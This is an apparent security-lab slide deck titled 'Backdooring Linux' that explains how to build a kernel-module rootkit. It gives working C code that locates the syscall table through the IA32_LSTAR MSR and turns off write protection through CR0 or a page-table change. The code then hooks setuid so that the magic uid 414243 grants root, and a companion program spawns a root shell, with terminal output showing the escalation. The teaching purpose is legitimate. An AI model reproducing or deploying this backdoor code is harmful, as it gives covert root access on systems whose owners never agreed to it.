Backdooring Linux

Thomas Bitzberger

LSE Security System
Laboratory of Epita

Why doing this

- Learn more about:
  - Linux kernel
  - x86 architecture
- Have fun !

LSE Security System
Laboratory of Epita

Backdoor 101

Let’s create a very simple backdoor, modifying the setuid syscall.

The first step is to retrieve the syscall table.

We then replace the original setuid by a modified one.

Why doing this again

- There are many tutorials on the internet
- Many use deprecated methods
- Some are just bad

Finding the syscall table

- The address was previously exported in /proc/kallsyms
- It is not anymore
- We can look in System.map if present
- If not, we have to find a way to retrieve the syscall table's address without it's symbol.

Finding the syscall table

The syscall table is used by the generic syscall handler.

```
/*
 * This call instruction is handled specially in stub_ptregs_64.
 * It might end up jumping to the slow path.  If it jumps, RAX
 * and all argument registers are clobbered.
 */
call    *sys_call_table(, %rax, 8)
```

From ‘arch/x86/entry/entry_64.S’

LSE Security System
Laboratory of Epita

Finding the syscall table

We look for the opcodes where the call to the syscall table is made.

We have to find the syscall handler to ‘grep’ these opcodes into the handler’s code.

```
4c 89 d1                mov    %r10,%rcx
ff 14 c5 a0 01 a0 81    callq  *-0x7e5ffe60(,%rax,8)
48 89 44 24 50          mov    %rax,0x50(%rsp)
```

From ‘objdump -d vmlinux’

Syscall on x86_64

From intel's manual vol.2:

"SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR."

Finding the syscall table

We just have to read from IA32_LSTAR to get the address of the syscall handler.

We use the ‘rdmsrl’ macro which calls rdmsr

We then look for the opcodes into its code to find the syscall table address.

Finding the other table

Linux has a second syscall table for 32 bits compatibility.

```
ffffffff81a001a0 R sys_call_table
ffffffff81a00e00 R ia32_sys_call_table
```

LSE Security System
Laboratory of Epita

Finding the other table

We get the address of ‘int $0x80’ handler and…

We don’t find the ia32_sys_call_table address.

The call to this table is made in a generic handler for 32 bits syscalls, which is not exported.

Finding the other table

We use the same technique as before, except that we search in the whole kernel address space.

It has the same effects except that it’s a bit longer.

Replace setuid

```
long my_setuid(uid_t uid)
{
        if (uid == 414243) {
                *(uid_t*)&(current->cred->uid) = 0;
                *(uid_t*)&(current->cred->gid) = 0;
                *(uid_t*)&(current->cred->euid) = 0;
                *(uid_t*)&(current->cred->egid) = 0;
                return 0;
        }
        else
                return orig_setuid(uid);
}
```

Disable write protection

Last step before replacing setuid is to disable write protection on the syscall table.

Two methods:

- Clear WP bit in cr0
- Add write permission in page table entry

Disable write protection

Using cr0:

```
static inline void disable_wp(void)
{
        unsigned long cr0;
        preempt_disable();
        cr0 = read_cr0();
        cr0 ^= X86_CR0_WP;
        write_cr0(cr0);
}
```

```
static inline void enable_wp(void)
{
        unsigned long cr0;
        cr0 = read_cr0();
        cr0 ^= X86_CR0_WP;
        write_cr0(cr0);
        barrier();
        preempt_enable();
}
```

LSE Security System
Laboratory of Epita

Disable write protection

Using page protection:

```
void set_page_wr(void *addr)
{
        unsigned int l;
        pte_t *pte = lookup_address((unsigned long)addr, &l);
        if (!pte_write(*pte))
                pte_mkwrite(*pte);
}
```

Do it

```
static int __init init_mod(void)
{
        sys_call_table = find_syscall_table();
        orig_setuid = sys_call_table[__NR_setuid];
        disable_wp();
        sys_call_table[__NR_setuid] = (void*)my_setuid;
        enable_wp();
        return 0;
}
static void __exit exit_mod(void)
{
        disable_wp();
        sys_call_table[__NR_setuid] = orig_setuid;
        enable_wp();
}
```

Get root !

```
#include <unistd.h>
extern char **environ;
int main(void)
{
        setuid(414243);
        char *args[] = { "/bin/bash" , NULL };
        execve(args[0], args,  environ);
        return 0;
}
```

Get root !

```
[zionlion@192 basics]$ gcc root.c -o root
[zionlion@192 basics]$ whoami
zionlion
[zionlion@192 basics]$ ./root
[root@192 basics]# whoami
root
```

Questions ?

bitz@lse.epita.fr

LSE Security System
Laboratory of Epita